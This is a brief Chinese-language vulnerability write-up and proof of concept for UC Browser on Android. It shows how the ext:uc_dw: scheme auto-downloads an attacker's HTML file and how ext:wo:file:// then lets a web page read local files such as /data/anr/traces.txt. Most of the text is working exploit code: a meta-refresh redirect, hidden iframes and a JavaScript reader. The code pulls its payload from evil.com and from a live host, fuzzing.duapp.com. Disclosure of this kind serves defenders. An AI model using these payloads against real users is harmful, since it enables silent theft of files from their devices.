UC浏览器最新版可通过下面的链接自动下载文件。
ext:uc_dw:http://www.evil.com/evil.html
UC浏览器默认的下载路径为/sdcard/UCDownloads
所以自动下载保存文件名为/sdcard/UCDownloads/evil.html
UC浏览器虽然禁止在http://的页面中直接调用file://,但还是可以从http://跨到file://。POC如下:
<iframe src=ext:wo:file:///evil.html></iframe>
接下来就可以读取本地文件了,最后的POC如下:
<meta http-equiv="refresh" content="0;URL=ext:uc_dw:http://fuzzing.duapp.com/evil.html"/>
<script>
function init(){
window.location = "getdata.html";
}
setTimeout(init,5000) //5秒后跳转
</script>
evil.html的代码如下:
<iframe id=test style=display:none src=ext:wo:file://///data/anr/traces.txt onload=getdata()></iframe>
<script>
function getdata(){
var data=document.getElementById("test").contentWindow.document.body.innerHTML;
alert(data);
}
</script>
getdata.html的代码如下:
<iframe style=display:none src=ext:wo:file://///sdcard/UCDownloads/evil.html></iframe>
非极速模式下访问下面的链接即可获取/data/anr/traces.txt的内容
http://fuzzing.duapp.com/uc.html
PS: UC浏览器下载路径须为/sdcard/UCDownloads